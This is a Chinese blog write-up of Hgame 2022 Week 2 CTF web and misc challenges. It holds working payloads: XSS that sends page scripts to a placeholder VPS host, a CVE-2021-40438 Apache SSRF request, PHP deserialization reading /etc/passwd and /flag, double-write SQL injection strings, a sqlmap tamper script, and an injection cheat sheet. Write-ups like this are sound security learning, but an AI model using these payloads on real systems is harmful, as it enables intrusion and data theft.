CTF | 2022 Hgame Week2 WriteUp

CTF WriteUp
CTF
发布日期:   2022-02-07
文章字数:   2.8k
阅读时长:   13 分

引言

喵呜，这篇是 Hgame Week2 的 WriteUp 啦！

啊你没看错，其实就没咋看题，大部分还是第一周结束第二周刚开始的那几天做的，后面就咕了（

第一周的详见 CTF | 2022 Hgame Week1 WriteUp。

Web

webpack-engine

Description

webpack packs the web.
（请使用 Chrome 浏览器打开）

Challenge Address

https://ngin.hgame.potat0.cc

经典 webpack 打包，浏览器请求 source map 解包就能看到源码了。

export default {
  data() {
    return {
      filiiililil4g: 'YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo='
    }
  }
}

二次base64

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

（不懂为啥 FireFox 就看不到

At0m的留言板

Description

留言站被日了之后At0m去认真学了下Web安全，这回就算是大茄子来了也别想轻易日开。
https://at0m-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html
抢先试用At0m的留言板请加微信公众号：宅男的天台

Challenge Address

https://weixin.qq.com/r/3xzJ0ZrEescFrd6y90nN

经典 XSS。给公众号发消息会把内容渲染到 content 这个 span 里。

带有 script 貌似会拦，不懂为啥 window.flag 或者 flag 读不到东西，最后直接读 document.scripts 算了。

Payload:

</span><img src=1 onerror="document.getElementsByClassName('content')[0].textContent+=document.scripts[0].text;">

hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}

好耶，一血！

另外也可以外带，VPS 上起个 nc 啥的都行

</span><img src=1 onerror="window.location='//VPSIP:PORT/'+document.scripts[0].text;">

除夕红包

除夕晚上以这道题为基础放了个支付宝红包，发现是在 scripts[1] 有段亿点点长的 jsfuck，所以原来的做法是 非预期了 看来2333

（以及后面在榜单上的 id 后面还获得了一个 发现非预期 的 tag，好耶

（虽然 OCR 貌似也不是不行

后来想想还是外带吧，最好再 base64 编码一下

</span><img src=1 onerror="window.location='//VPSIP:PORT/'+btoa(document.scripts[1].text);">

解码出来是

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然而直接执行发现是 undefined

最后发现前面这段是 eval，后面定义了个函数

其实就是定义了个变量（

var r3d_CodE = "h2g0a2m2e"

可惜被抢完了，可恶！！！ 没事啦，虎年快乐啦~

然后在想，预期解是不是读取环境里定义的变量列表然后去读变量呢？

Apache!

Description

Ooops,Summ3r 的机器被大黑阔打穿了！不过还好 Summ3r 有备份的习惯，把 flag 备份在了内网的某台机器上面，嘿嘿嘿。。。

Challenge Address

http://httpd.summ3r.top:60010

/www.zip 源码

docker-compose.yml

version: "3.8"
services:
  apache:
    image: httpd:2.4.48-alpine
    volumes:
      - ./static:/usr/local/apache2/htdocs
      - ./httpd.conf:/usr/local/apache2/conf/httpd.conf
      - ./httpd-vhosts.conf:/usr/local/apache2/conf/extra/httpd-vhosts.conf
    links:
      - internal.host
    depends_on:
      - internal.host
    ports:
      - 60010:80

  nginx:
    image: nginx:alpine
    container_name: internal.host
    volumes:
      - ./default.conf:/etc/nginx/conf.d/default.conf

default.conf

server {
    listen       80;
    server_name  localhost;

    #access_log  /var/log/nginx/host.access.log  main;

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }

    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    location = /flag {
        return 200 "hgame{xxx}";
    }

    # proxy the PHP scripts to Apache listening on 127.0.0.1:80
    #
    #location ~ \.php$ {
    #    proxy_pass   http://127.0.0.1;
    #}

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    #location ~ \.php$ {
    #    root           html;
    #    fastcgi_pass   127.0.0.1:9000;
    #    fastcgi_index  index.php;
    #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
    #    include        fastcgi_params;
    #}

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all;
    #}
}

httpd-vhosts.conf

<VirtualHost *:80>
    ServerAdmin [email protected]
    DocumentRoot "/usr/local/apache2/htdocs"
    ServerName dummy-host.example.com
    ServerAlias www.dummy-host.example.com
    ErrorLog "logs/dummy-host.example.com-error_log"
    CustomLog "logs/dummy-host.example.com-access_log" common
    <Location /proxy>
      ProxyPass https://www.google.com
    </Location>
</VirtualHost>

请求是从 Apache/2.4.48 (Unix) 进来的，内网有个 nginx，flag在他的 /flag 路由下。

直接访问的话，会提示访问内网那个。

搜一搜 Apache/2.4.48 有啥洞，其实最开始想到的是那个 .%2e 目录穿越的洞，不过是在 2.4.49 - 2.4.50

https://httpd.apache.org/security/vulnerabilities_24.html

看起来是和 mod_proxy 有关的

再到 GitHub 搜搜 PoC

CVE-2021-40438 exploit PoC with Docker setup

CVE-2021-40438

请求 uri-path 可以导致 mod_proxy 将请求转发到远程用户选择的源服务器。此问题会影响 Apache HTTP Server 2.4.48 及更早版本。

攻击者可以通过制作请求来利用此漏洞uri路径，这导致 mod_proxy将请求转发到攻击者选择的源服务器。Apache HTTP Server的mod_proxy组件旨在为 Apache HTTP Server 实现代理/网关功能。

Apache <= 2.4.48 - Mod_Proxy SSRF

proxy 用的是 /proxy 路由，所以最终 payload:

GET /proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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HTTP/1.1
Host: httpd.summ3r.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}

一本单词书

Description

为了顺利通过六级，Summ3r用世界上最好的语言写了个单词书，嘿嘿嘿

Challenge Address

https://wordbook.hgame.potat0.cc/

/www.zip 源码

login.php

<?php
session_start();

function alert($msg): string {
    return "<script>alert('".$msg."')</script>";
}

function randomString($length): string {
    srand(time());
    $s = "";
    for ($i=0; $i<$length; $i++) {
        $s .= chr(random_int(32, 127));
    }
    return $s;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (!isset($_POST['username']) || !isset($_POST['password'])) {
        return;
    }

    if ($_POST['username'] != 'adm1n') {
        die(alert('username or password is invalid'));
    }

    if (is_numeric($_POST['password'])) {
        die(alert('密码不能设置为纯数字，我妈都知道(￣△￣；)'));
    } else {
        if ($_POST['password'] == 1080) {
            $_SESSION['username'] = 'admin';
            $_SESSION['unique_key'] = md5(randomString(8));
            header('Location: index.php');
        } else {
            die(alert('这你都能输错？'));
        }
    }
}

?>
<html>
    <head>
        <meta charset="utf-8">
        <link href="static/login.css" rel="stylesheet">
    </head>
    <body>
        <form action="login.php" method="POST">
            <div class="form-item">
                <label for="username">USERNAME</label>
                <input type="text" name="username" id="username">
            </div>
            <div class="form-item">
                <label for="password">PASSWORD</label>
                <input type="password" name="password">
            </div>
            <div class="form-item">
                <button type="submit">LOGIN</button>
            </div>
        </form>
    </body>
    <!-- hint: /www.zip -->
</html>
<?php

?>

用户名密码弱比较绕过就行

adm1n / 1080a 登录

save.php

<?php
session_start();
include 'admin_check.php';

function encode($data): string {
    $result = '';
    foreach ($data as $k => $v) {
        $result .= $k . '|' . serialize($v);
    }

    return $result;
}

function saveSessionData() {
    $filename = "/tmp/".$_SESSION['unique_key'].'.session';
    $data = json_decode(file_get_contents("php://input"));
    $str = encode($data);
    file_put_contents($filename, $str, FILE_APPEND);
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    saveSessionData();
} else {
    echo 'method not allowed';
}

get.php

<?php
session_start();
include 'admin_check.php';
include 'evil.php';

// flag is in /flag

function decode(string $data): Array {
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length) {
        if (!strstr(substr($data, $offset), '|')) {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $dataItem = unserialize(substr($data, $offset));

        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }
    return $result;
}

function loadSessionData(): Array {
    $filename = '/tmp/'.$_SESSION['unique_key'].'.session';
    if (file_exists($filename)) {
        $str = file_get_contents($filename);
        return decode($str);
    } else {
        file_put_contents($filename, '');
        return [];
    }
}

echo json_encode(loadSessionData());

evil.php

<?php

class Evil {
    public $file;
    public $flag;

    public function __wakeup() {
        $content = file_get_contents($this->file);
        if (preg_match("/hgame/", $content)) {
            $this->flag = 'hacker!';
        }
        $this->flag = $content;
    }
}

由于 $varname 的长度是到第一个出现的 | 开始计算的，就可以在 save 的时候把 key 中加入 |，解析的时候就会把后面的内容丢去反序列化了。

例如读个 /etc/passwd，payload:

2|O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";N;}

1

本地调试的话可以看看 session

最后的话还要让输出得到的结果不包含 hgame，这个简单，拿 php 伪协议 base64 编码一下就完事了。

生成 payload 的脚本：

<?php

class Evil
{
    public $file;
    public $flag;

    public function __construct()
    {
        // $this->file = "/etc/passwd";
        $this->file = "php://filter/read=convert.base64-encode/resource=/flag";
    }
}

echo serialize(new Evil());

Payload:

miaotony|O:4:"Evil":2:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";s:4:"flag";N;}

233

hgame{Uns@f3_D3seR1@liz4t1On!Is~h0rr1b1e-!n_PhP}

Pokemon

Description

选择你的宝可梦吧，召唤师！

Challenge Address

http://121.43.141.153:60056

试了试这个注入，发现没有。

那遍历跑跑，嗯，除了1-3其他都是 Location: error.php?code=404

那要是加个 ' 呢？

很好，有数据库，报错啦！

发现会把 or and /**/ select union from where 这些给替换为空，双写可以绕过。结尾用 #(%23) 可以。

- + 空格 会替换为空

" => &quot;（urlencode），<> 类似

GET /error.php?code=403/*/**/*/anAndd/*/**/*/sleep(3)%23

成功 sleep

然后 union select 读信息

payload:

GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,database()%23
===> database: pokemon

GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/database()%23 
===> 表名 errors,fllllllllaaaaaag

GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'%23
===> 列名 flag

GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,flag/*/**/*/frofromm/*/**/*/fllllllllaaaaaag%23

hgame{C0n9r@tul4tiOn#Y0u$4r3_sq1_M4ST3R^}

顺便试了试 sqlmap，需要写个 tamper，放在 /usr/share/sqlmap/tamper 目录下 doublewords.py

#!/usr/bin/env python
'''
sqlmap 双写绕过
Modified by MiaoTony
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('union' , 'uniunionon')
    payload= payload.replace('select' , 'selselectect')
    payload= payload.replace('from' , 'frfromom')
    payload= payload.replace('where' , 'whewherere ')
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('=' , ' like ')
    payload= payload.replace(' ' , '/*/**/*/')
    payload= payload.replace('and' , 'anandd')
    retVal=payload
    return retVal

需要替换的是试出来的（

sqlmap -u "http://121.43.141.153:60056/error.php?code=404" --random-agent --tamper=doublewords -D pokemon --dump

顺便记录一下 手工 SQL 注入的经典 payload。

order by --+ 判断字段数目

union select --+ 联合查询收集信息

id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值

via 国光师傅的 MySQL 手工注入之基本步骤

有点亏，没抢到一血，二血也好啦 2333。

Misc

一张怪怪的名片

Description

鸿师傅给女友送了个 flag ，但是现场只有一个奇怪的名片。
PS：鸿师傅不喜欢百度

Challenge Address

https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week2/%E4%B8%80%E5%BC%A0%E6%80%AA%E6%80%AA%E7%9A%84%E5%90%8D%E7%89%87.png

开局拼二维码，好烦这种题啊！！！

一张怪怪的名片

然后再折腾折腾，发现还是扫不了，坏坏坏！！！

不行还是上 qrazybox 吧

上面这图可以直接导入进去，然后解析一下

大概可以知道是个网址，但是猜了猜不大对。

于是搜了搜 homeboyc

https://homeboyc.cn/friendlinks/ 发现了友链 https://homeginan.homeboyc.cn/

噢，其实不如直接看图片里的 鸿贵安 搜一下……

是社工题啊……

宝，想你，呜呜。宝，下面的fl4g的密码你应该知道的，我就不说了嘎嘎。

对了，宝，你可以用这个网站解密 CyberChef 。

我先用“Derive PBKDF2 key”把密码转成了key（salt=1），然后交给AES加密模块用ECB模式加密了（别忘了base64）。

The following text is the ciphertext of fl4g after AES-128 encryption.

b09nyMj9cOZ3aB8KUcnh46nIi9fGTIL6XjnnW1/sj/nUR1BFYkf0JwB0qjcQhcCy7dxtsHqznOMkt6XEGKD8y5K5whenAcwuiT/Rue+snORVWAorXsB3ZGcITuFLEIThbx4/vh5E/Wk4R8qhNcFh5bwSSmwdULVuwBrJ5H3+kBOsYafEqP8RDX3sOdXTj80V8Puq+TNbXAMhxvdLGkkcBQ==

生日这篇可以推出来生日是 20020816

结合弱密码，包含了名字 hga，结合比赛名称，盲猜密码是 hgame20020816

于是先拿 Derive PBKDF2 key 得到 key 为 5728e1fb6ee26419b7a48a0cab579e74

然后 AES 解密一下完事

hgame{Wh0_4m_1?I_like_S0ciaI_En9in33ring}

小结

过年啦，还是好好享受生活好！

其他的题后面就没怎么看了，摸啦（跑

后面两周的话忙别的去了，也没怎么看题，唔（

（怎么这篇放草稿箱里都长草了 啊，不管了直接发出来吧

（溜了溜了喵~

文章作者: MiaoTony
文章链接: https://miaotony.xyz/2022/02/07/CTF_2022HgameWeek2/
版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
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